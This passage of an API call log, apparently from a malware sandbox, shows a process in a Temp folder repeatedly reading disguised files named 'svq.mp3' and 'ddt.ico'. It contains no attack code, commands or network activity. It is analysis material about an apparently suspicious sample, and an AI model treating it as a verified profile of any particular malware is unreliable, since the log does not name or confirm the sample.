lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.839] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.839] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.839] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.840] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.840] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.840] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.840] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.840] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.840] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.840] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.846] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.846] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.846] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.846] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.846] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.846] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.846] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.846] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.846] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.847] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.847] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.847] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.847] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.847] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.847] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.847] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.847] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.847] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.848] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.848] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.848] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.848] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.848] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.848] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.848] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.848] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.848] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.848] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.848] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.848] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.849] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.849] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.849] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.849] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.849] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.849] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.849] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.849] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.849] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.849] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.849] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.849] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.850] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.850] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.850] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.850] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.850] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.850] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.850] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.850] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.850] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.851] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.851] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.851] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.851] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.851] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.851] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.851] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.851] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.851] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.851] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.852] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.852] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.852] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.852] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.852] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.852] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.852] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.852] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.852] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.852] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.853] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.853] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.853] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.853] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.853] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.853] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.853] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.853] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.853] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.853] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.853] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.854] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.854] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.854] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.854] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.854] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.854] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.854] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.854] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.854] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.854] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.855] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.855] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.855] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.855] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.855] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.855] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.855] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.855] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.855] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.855] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.856] 